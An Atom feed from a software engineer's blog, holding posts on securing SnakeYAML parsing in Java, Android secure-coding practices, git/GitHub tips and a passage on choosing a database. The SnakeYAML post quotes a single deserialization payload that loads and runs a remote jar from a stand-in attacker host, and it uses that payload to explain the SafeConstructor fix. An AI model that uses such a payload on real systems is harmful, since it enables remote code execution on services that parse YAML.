<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Senthilkumar Gopal - Software-Engineering</title><link href="https://sengopal.me/" rel="alternate"/><link href="https://sengopal.me/feeds/software-engineering.atom.xml" rel="self"/><id>https://sengopal.me/</id><updated>2022-04-19T00:00:00-07:00</updated><subtitle>Musings of a machine learning researcher, engineer and leader</subtitle><entry><title>Secure Constructor object for SnakeYAML</title><link href="https://sengopal.me/posts/secure-constructor-object-for-snakeyaml" rel="alternate"/><published>2022-04-19T00:00:00-07:00</published><updated>2022-04-19T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2022-04-19:/posts/secure-constructor-object-for-snakeyaml</id><summary type="html">This post explores the pitfalls and steps to securely read an YAML file using SnakeYAML library</summary><content type="html">&lt;p&gt;We use &lt;a href="https://bitbucket.org/snakeyaml/snakeyaml/src/master/"&gt;SnakeYAML&lt;/a&gt;
for simple parsing of YAML files in Java, as part of &lt;a href="https://github.com/eBay/ebay-oauth-java-client"&gt;ebay-oauth-java-client&lt;/a&gt;
configuration. We were made aware of a vulnerability within the code due
to the usage of &lt;code&gt;Yaml yaml = new Yaml()&lt;/code&gt; and then following
it with &lt;code&gt;yaml.loadAs(fis, Map.class);&lt;/code&gt;. This issue was first
reported as part of &lt;a href="https://github.com/kubernetes-client/java/issues/1698"&gt;Kubernetes
java client&lt;/a&gt;, but affects any code which uses SnakeYaml for reading
generic types.&lt;/p&gt;
&lt;p&gt;Yaml allows a class type to be tagged in the file using its name such
as &lt;code&gt;!!java.net.URLClassLoader&lt;/code&gt;. So when
&lt;code&gt;yaml.loadAs&lt;/code&gt; loads the file, it instantiates objects for the
tagged classes in the file. SnakeYAML recommends addressing this issue
using &lt;a href="https://bitbucket.org/snakeyaml/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections"&gt;type-safe-collections&lt;/a&gt;
where the object types are defined and a &lt;code&gt;Constructor&lt;/code&gt; object
is used to allow only specific types such as below. &lt;a href="https://bitbucket.org/snakeyaml/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections"&gt;Reference&lt;/a&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;Constructor&lt;/span&gt; constructor &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Constructor&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Car&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;span class="co"&gt;//Car.class is root&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;TypeDescription carDescription &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;TypeDescription&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Car&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;carDescription&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;putListPropertyType&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"wheels"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; Wheel&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-4"&gt;&lt;a aria-hidden="true" href="#cb1-4" tabindex="-1"&gt;&lt;/a&gt;constructor&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addTypeDescription&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;carDescription&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-5"&gt;&lt;a aria-hidden="true" href="#cb1-5" tabindex="-1"&gt;&lt;/a&gt;Yaml yaml &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;Yaml&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;constructor&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;However, this does not work for generic types such as
&lt;code&gt;java.util.Map&lt;/code&gt; objects and such generic types are handled
specifically within SnakeYAML using &lt;code&gt;tag:map&lt;/code&gt; or
&lt;code&gt;tag:sequence&lt;/code&gt; for lists.&lt;/p&gt;
&lt;h3 id="how-does-this-work"&gt;How does this work&lt;/h3&gt;
&lt;p&gt;The specifics of this issue is available in &lt;a href="https://j0vsec.com/post/cve-2021-25738/"&gt;detail&lt;/a&gt; by the
original reporter. When the config file contains
&lt;code&gt;some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]&lt;/code&gt;,
the default Constructor loads the ScriptEngineManager and attempts to
load the jar from a remote location and execute them.&lt;/p&gt;
&lt;h3 id="how-to-address-this"&gt;How to address this&lt;/h3&gt;
&lt;p&gt;YAML specification defines a &lt;a href="http://blogs.perl.org/users/tinita/2018/01/introduction-to-yaml-schemas-and-tags.html"&gt;FailSafe
Schema&lt;/a&gt; which allows only &lt;code&gt;str&lt;/code&gt;,&lt;code&gt;sequence&lt;/code&gt; and
&lt;code&gt;map&lt;/code&gt; and prevents all other types from even being
instantiated. SnakeYaml follows this fail-safe schema using &lt;a href="https://javadoc.io/static/org.yaml/snakeyaml/1.25/org/yaml/snakeyaml/constructor/SafeConstructor.html"&gt;SafeConstructor&lt;/a&gt;.
Using the SafeConstructor to create
&lt;code&gt;Yaml yaml = new Yaml(new SafeConstructor());&lt;/code&gt; prevents any
arbitary class from getting loaded. For specific types, using
&lt;code&gt;TypeDescription&lt;/code&gt; and adding to the constructor object as
shown above ensures only the allowed types are instantiated.&lt;/p&gt;
&lt;h3 id="how-does-this-look"&gt;How does this look&lt;/h3&gt;
&lt;p&gt;The below is an inside look of all the allowed types using the
default &lt;code&gt;new Constructor()&lt;/code&gt; and the
&lt;code&gt;yamlClassConstructors&lt;/code&gt; has the &lt;code&gt;scalar&lt;/code&gt; and
&lt;code&gt;sequence&lt;/code&gt; classes which allows the arbitrary class
instantiation.&lt;/p&gt;
&lt;p&gt;&lt;img src="/extras/images/snakeyaml/regular_constructor_sequence_tag.png"/&gt;&lt;/p&gt;
&lt;p&gt;However, once the &lt;code&gt;new Constructor()&lt;/code&gt; is substituted with
&lt;code&gt;new SafeConstructor()&lt;/code&gt;, the arbitrary code will fail with
the following error confirming that the issue has been addressed.&lt;/p&gt;
&lt;p&gt;&lt;img src="/extras/images/snakeyaml/safe_constructor_error.png"/&gt;&lt;/p&gt;</content><category term="Software-Engineering"/><category term="security"/><category term="java"/></entry><entry><title>Steps for secure Android Application development</title><link href="https://sengopal.me/posts/steps-for-secure-android-application-development" rel="alternate"/><published>2015-03-22T00:00:00-07:00</published><updated>2015-03-22T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2015-03-22:/posts/steps-for-secure-android-application-development</id><summary type="html">In a recent working session, some of the best practices for a secure Android application development were discussed. Following were some of the important aspects of the discussion. Other the usual standards of securing the APK and securing the server-side components, some of the development and secure coding practices are listed in this post.</summary><content type="html">&lt;p&gt;In a recent working session, some of the best practices for a secure
Android application development were discussed. Following were some of
the important aspects of the discussion. Other the usual standards of
securing the APK and securing the server-side components, some of the
development and secure coding practices are listed in this post. Its the
responsibility of every Android app developer to keep themselves
appraised about new threats using OWASP Mobile Top 10 Risks.&lt;/p&gt;
&lt;h3 id="data-classification-and-handling-standards"&gt;Data classification
and Handling Standards&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;All data persisted should be encrypted - sqlliteDB, files,
dataprovider etc.,&lt;/li&gt;
&lt;li&gt;Don’t transmit sensitive data to unapproved 3rd party.&lt;/li&gt;
&lt;li&gt;Don’t put sensitive data into Intents&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="mobile-privacy"&gt;Mobile privacy&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Respect user’s privacy by collecting minimum amount of data&lt;/li&gt;
&lt;li&gt;GPS &amp;amp; location data - fine grain vs. coarse grain GPS data&lt;/li&gt;
&lt;li&gt;Contact Info&lt;/li&gt;
&lt;li&gt;Microphone and Camera use&lt;/li&gt;
&lt;li&gt;Tracking and Analytics IDs&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="attack-surface-analysis"&gt;Attack Surface Analysis&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Third party code automatically inherits app permissions. Treat new
versions of library as a new version of your app.&lt;/li&gt;
&lt;li&gt;Use Google Alerts for any security disclosures regarding the 3rd
party library.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="securing-logs"&gt;Securing logs&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Do not enable crash logs by default. Get user consent before
logging.&lt;/li&gt;
&lt;li&gt;Do not store crash logs for too long&lt;/li&gt;
&lt;li&gt;Do not send plain-text logs over HTTP&lt;/li&gt;
&lt;li&gt;Mask sensitive user information in the logs - starbucks usecase&lt;/li&gt;
&lt;li&gt;Minimize the number of permissions - dont ask for what you dont need
- Incoming SMS messages -&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="securing-intents"&gt;Securing Intents&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Use PendingIntents as delayed callbacks to private Broadcast
receivers&lt;/li&gt;
&lt;li&gt;Use Explicit intents as much as possible&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;sendBroadcast&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;intent&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="st"&gt;"custom-permission"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;startActivity&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;intent&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="permissions-and-intents"&gt;Permissions and Intents&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Use custom permission for 3rd party or other apps to subscribe for
notifications&lt;/li&gt;
&lt;li&gt;For sensitive activities, set FLAG_SECURE constant flag in
WindowManager.LayoutParams&lt;/li&gt;
&lt;li&gt;Perform intent data validation&lt;/li&gt;
&lt;li&gt;For private activities, use explicit intent&lt;/li&gt;
&lt;li&gt;Seperate services in AndroidManifest with explicit and seperate
permissions&lt;/li&gt;
&lt;li&gt;Use explicit intent to call Service&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;checkCallingPermission()&lt;/code&gt; to verify if permission is
available to the caller&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="data-security"&gt;Data Security&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Use record level delegation feature to share a specific record or
file without sharing the entire database to provide minimum access.&lt;/li&gt;
&lt;li&gt;Never trust the parameters passed to content providers. Sanatize for
injection attacks.&lt;/li&gt;
&lt;li&gt;Securing ContentProviders. Always set &lt;code&gt;exported=false&lt;/code&gt; in
your &lt;strong&gt;AndroidManifest.xml&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Ppecify explicit permissions for reading and writing.&lt;/li&gt;
&lt;li&gt;Use dynamic &lt;code&gt;grantUriPermissions&lt;/code&gt; attribute to true to
grant permission for certain portion for certain amount of time.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="webview-security"&gt;WebView Security&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Disable JS and Plugin support if not needed&lt;/li&gt;
&lt;li&gt;No local file access&lt;/li&gt;
&lt;li&gt;Do not load 3rd party hosts unless validated&lt;/li&gt;
&lt;li&gt;Do not follow redirect requests in the server response unless
validated&lt;/li&gt;
&lt;li&gt;If possible, use only https&lt;/li&gt;
&lt;li&gt;Disable form auto-fill feature by using
&lt;code&gt;WebView.WebSettings.setSaveFormData()&lt;/code&gt; as false&lt;/li&gt;
&lt;li&gt;Reject unexpected content - only allow HTML for main page (reject
PDFs etc.,)&lt;/li&gt;
&lt;li&gt;Secure Page Rendering in WebView - shouldOverrideUrlLoading&lt;/li&gt;
&lt;li&gt;Access Modifiers should not be trusted for sensitivity.&lt;/li&gt;
&lt;li&gt;Clear the cache after Webview of a Sensitive page.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;onPageFinished&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Webview view&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;String&lt;/span&gt; Url&lt;span class="op"&gt;){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;        view&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;clearCache&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;true&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a aria-hidden="true" href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="11" type="1"&gt;
&lt;li&gt;Ensure that UI Redressing (a.k.a) Tap jacking protection is setup to
prevent click jacking Use
&lt;code&gt;setFilterTouchesWhenObscured(true)&lt;/code&gt; or
&lt;code&gt;android:setFilterTouchesWhenObscured&lt;/code&gt; for activity
declaration.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="development-practices"&gt;Development practices&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Keep sensitive data in RAM no longer than required such as
Encryption keys, Authn, Authz tokens, passwords.&lt;/li&gt;
&lt;li&gt;Variables should be nullified after use&lt;/li&gt;
&lt;li&gt;Use byte[] and char[] for sensitive data rather than Strings which
helps in cleaning easier.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="internal-storage"&gt;Internal Storage&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Accessible only to your app&lt;/li&gt;
&lt;li&gt;clean the cache using deleteFile()&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="external-storage"&gt;External Storage&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Globally readable and writable&lt;/li&gt;
&lt;li&gt;Can be physically removed&lt;/li&gt;
&lt;li&gt;Avoid using this storage for sensitive apps in general. Use
&lt;code&gt;preferInternal&lt;/code&gt; to prevent app being installed in external
storage.&lt;/li&gt;
&lt;li&gt;Use Keychain API for system wide credentials&lt;/li&gt;
&lt;li&gt;Use Keystore to stores its own credentials&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file.delete()&lt;/code&gt; does not securely delete.&lt;/li&gt;
&lt;li&gt;Always delete cache files when user logs out&lt;/li&gt;
&lt;li&gt;Do not keep files with any sensitive data any longer than absolutely
needed.&lt;/li&gt;
&lt;li&gt;Do not create files with MODE_WORLD_READABLE or writeable&lt;/li&gt;
&lt;li&gt;Do not use modes such as 0666, 0777, 0663 with chmod binary or
syscalls accepting a file modes&lt;/li&gt;
&lt;li&gt;Only share info using content providers instead of file system&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="cryptography"&gt;Cryptography&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Dont store plain-text secret key&lt;/li&gt;
&lt;li&gt;Never roll your own CRYPTO libraries. use the approved ones&lt;/li&gt;
&lt;li&gt;Never store secrets using string - only char[] and byte[]&lt;/li&gt;
&lt;li&gt;Never seed SecureRandom&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="camera-feed"&gt;Camera feed&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Use default CAmera app/services&lt;/li&gt;
&lt;li&gt;Or, create SurfaceView to display a Camera Preview and click button
to convert to Picture&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="url-connections"&gt;URL Connections&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Use TLS instead of SSLv3.&lt;/li&gt;
&lt;li&gt;Use only https&lt;/li&gt;
&lt;li&gt;SSLSocket class can be used but with caution. It does not do
hostname verification.&lt;/li&gt;
&lt;li&gt;If overriding, check &lt;code&gt;getDefaultHostNameVerifier()&lt;/code&gt; or
&lt;code&gt;HostNameVerifier.verify()&lt;/code&gt; returns boolean true.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Software-Engineering"/><category term="development"/><category term="coding"/><category term="android"/><category term="security"/></entry><entry><title>Git and Github secrets</title><link href="https://sengopal.me/posts/git-and-github-secrets" rel="alternate"/><published>2014-01-23T00:00:00-08:00</published><updated>2014-01-23T00:00:00-08:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2014-01-23:/posts/git-and-github-secrets</id><summary type="html">Some git and github usage secrets for quick reference.</summary><content type="html">&lt;p&gt;Git commandline and Github are two of most used tools for a web
developer. Especially in a team environment, we use these more than a
few times in a day. Recently I came across a screencast held at Aloha
Ruby Conference. Some of the important and amazing shortcuts and useful
tips discussed were summarized below. Rather than using them all, we
should start couple of them and start practising them which definitely
improves our tooling and productivity.&lt;/p&gt;
&lt;h3 id="github"&gt;Github&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Adding .diff or .patch to the URL provides more clearer
textual representation&lt;/strong&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode html"&gt;&lt;code class="sourceCode html"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;    https://github.com/sengopal/sengopal.github.com/commit/c1ed8ca37880bb6b369e5007fa88909aa1b73189&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;    https://github.com/sengopal/sengopal.github.com/commit/c1ed8ca37880bb6b369e5007fa88909aa1b73189.diff&lt;/span&gt;
&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;    https://github.com/sengopal/sengopal.github.com/commit/c1ed8ca37880bb6b369e5007fa88909aa1b73189.patch&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Remove Whitespace differences using&lt;/strong&gt;
&lt;code&gt;?w=1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cool octocat images @ octodex.github.com&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URL Shortner : git.io&lt;/strong&gt; Usage:
&lt;code&gt;gitio &amp;lt;url&amp;gt; &amp;lt;name?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lexer and Highlighting Languages:&lt;/strong&gt; &lt;a href="https://github.com/github/linguist" title="Linguist"&gt;Linguist&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gist as Screenshot sharing and discussion tool&lt;/strong&gt;
&lt;code&gt;&amp;lt;https://gist.github.com/&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Git + Hub super commands&lt;/strong&gt; Hub is a command line tool
that wraps git in order to extend it with extra features and commands
that make working with GitHub easier. &lt;a href="https://github.com/defunkt/hub" title="hub repo"&gt;hub repo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Shortcuts&lt;/strong&gt; Press in repo page &lt;code&gt;t&lt;/code&gt; -
for File Finder &lt;code&gt;w&lt;/code&gt; - branch selector &lt;code&gt;s&lt;/code&gt; - quick
search&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span class="citation" data-cites="mention__"&gt;(&lt;strong&gt;mention__?&lt;/strong&gt;)&lt;/span&gt; - adds
person to the conversation &lt;/strong&gt;@Organization/Team__ - adds the
organization/team to the conversation&lt;/p&gt;
&lt;p&gt;&lt;code&gt;#&amp;lt;number&amp;gt;&lt;/code&gt; - &lt;strong&gt;autolinks to issue
number&lt;/strong&gt; Example: using a commit message such as “closes
&lt;code&gt;#1291&lt;/code&gt;” autolinks to the issue&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adding&lt;/strong&gt; &lt;code&gt;?author=sengopal&lt;/code&gt; &lt;strong&gt;or
email address to&lt;/strong&gt; &lt;code&gt;github.com/repo/commits/master&lt;/code&gt;
&lt;strong&gt;gives the list of commits by that author.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Example:
https://github.com/sengopal/immuno/commits/master?author=sengopal&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pulls needn’t be from a fork, but can be done from branches
as well&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Github supports emoji’s which are available under&lt;/strong&gt; &lt;a href="http://emoji-cheat-sheet.com" title="Emoji-cheat-sheet"&gt;Emoji-cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="git-line-quirks"&gt;Git line quirks&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git branch --merged&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git branch --no-merged&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git branch --contains &amp;lt;sha&amp;gt;&lt;/code&gt; - which branch has
this SHA&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git checkout &amp;lt;branch_name&amp;gt; --&amp;lt;path to file&amp;gt;&lt;/code&gt;
- checkout that file from that branch into your current branch&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git log branchA ^branchB&lt;/code&gt; - commits in A not in
B&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git fsck ==lost-found&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git diff HEAD^ --stat&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git blame -w&lt;/code&gt; - to avoid whitespace as
commits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git blame -M&lt;/code&gt; - original commit and not the move
commit&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git blame -C&lt;/code&gt; - same as M except looks in the same
commit &lt;em&gt;-CC, -CCC are the other variations available&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git status -sb&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git diff HEAD^ --word-diff&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git config --global help.autocorrect 1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git config --global rerere.enabled 1&lt;/code&gt; - long running
branches, remembers merge conflicts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git config --global color.ui 1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git-amend&lt;/code&gt; - alias to
&lt;code&gt;git commit --amend -C HEAD&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git undo&lt;/code&gt; - alias to
&lt;code&gt;git reset --soft HEAD^&lt;/code&gt; - retains commit as staged&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git-count&lt;/code&gt; - alias to
&lt;code&gt;git shortlog -sn&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git add -p&lt;/code&gt; - useful for logical commits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;git show :/&amp;lt;query&amp;gt;&lt;/code&gt; - checks for the message or
file name&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Commit Comparison&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;LINE Linking - #L16, #L16-25&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Advanced Compare View&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Range - &lt;code&gt;MASTER@{1.day.ago}...MASTER&lt;/code&gt; bookmark that page
and see whats team upto in last 12 hours&lt;/p&gt;
&lt;h3 id="key-git-commands-in-order-of-importance"&gt;Key Git commands in
order of importance&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Clone – Creates a repository from a network or local location&lt;/li&gt;
&lt;li&gt;Status – What is staged, and in the working directory&lt;/li&gt;
&lt;li&gt;Log – history of commits&lt;/li&gt;
&lt;li&gt;Add – make a file ready for staging&lt;/li&gt;
&lt;li&gt;Commit – Move staged files to a commit&lt;/li&gt;
&lt;li&gt;Reset – Clean an entire working directory&lt;/li&gt;
&lt;li&gt;Pull – Perform a fetch &amp;amp; merge operation&lt;/li&gt;
&lt;li&gt;Push – send your changes to the parent repository&lt;/li&gt;
&lt;li&gt;Branch – to create a new branch&lt;/li&gt;
&lt;li&gt;Checkout – to grab one or more files&lt;/li&gt;
&lt;li&gt;Clean – removing files that exist only in the working directory&lt;/li&gt;
&lt;li&gt;Fetch – Get changes from the parent repository to store within the
current repo&lt;/li&gt;
&lt;li&gt;Merge – Combine two or more commits into one&lt;/li&gt;
&lt;/ul&gt;</content><category term="Software-Engineering"/><category term="lists"/><category term="git"/></entry><entry><title>Eight steps in choosing a database</title><link href="https://sengopal.me/posts/eight-steps-in-choosing-a-database" rel="alternate"/><published>2014-01-20T00:00:00-08:00</published><updated>2014-01-20T00:00:00-08:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2014-01-20:/posts/eight-steps-in-choosing-a-database</id><summary type="html">This post chronicles the list of steps that were followed for selecting a database based on its attributes and capabilities</summary><content type="html">&lt;p&gt;We are planning a database architecture rewrite for an existing
service and the needs of the project are:&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Consistent data with ACID compliance for LIVE data&lt;/li&gt;
&lt;li&gt;Async writes and random reads for metadata&lt;/li&gt;
&lt;li&gt;Fast and Async writes and very low reads for audit information&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Usually, experts suggest a multi-database solution, or polyglot
persistence approach instead of a traditional monolithich RDBMS
solution.&lt;/p&gt;
&lt;h3 id="disadvantages-of-rdbms"&gt;Disadvantages of RDBMS&lt;/h3&gt;
&lt;p&gt;Scaling a traditional RDBMS is difficult at best. Partitioning
schemes, multi-master configurations, and redundancy systems offered by
Oracle, SQL Server, and DB2 are expensive and problematic at best. They
often fail to meet the needs of high-scale applications. Also, for short
lived data and with different lifetime data, RDBMS does not fit the
needs of such an application.&lt;/p&gt;
&lt;h2 id="available-databases"&gt;Available Databases&lt;/h2&gt;
&lt;p&gt;Some of the database types available as per this &lt;a href="https://dzone.com/articles/review-persistence-strategies"&gt;Dzone
article&lt;/a&gt; are:&lt;/p&gt;
&lt;h3 id="key-value-stores"&gt;Key-Value stores&lt;/h3&gt;
&lt;p&gt;The most commonly used database solutions are Key-Value stores such
as Aerospike, Redis, and Riak. These are available for easier install
and application implementation.&lt;/p&gt;
&lt;h3 id="column-family-databases"&gt;Column-Family databases&lt;/h3&gt;
&lt;p&gt;The other common databases available are Cassandra and HBase are both
based on Hadoop but have different write semantics. While HBase offers
strong write integrity and Cassandra offers &lt;em&gt;eventual
consistency&lt;/em&gt;. Also, Cassandra is ideal for high intense writes and
random reads.&lt;/p&gt;
&lt;h3 id="document-databases"&gt;Document Databases&lt;/h3&gt;
&lt;p&gt;Document databases scale quite well and are great for web-based
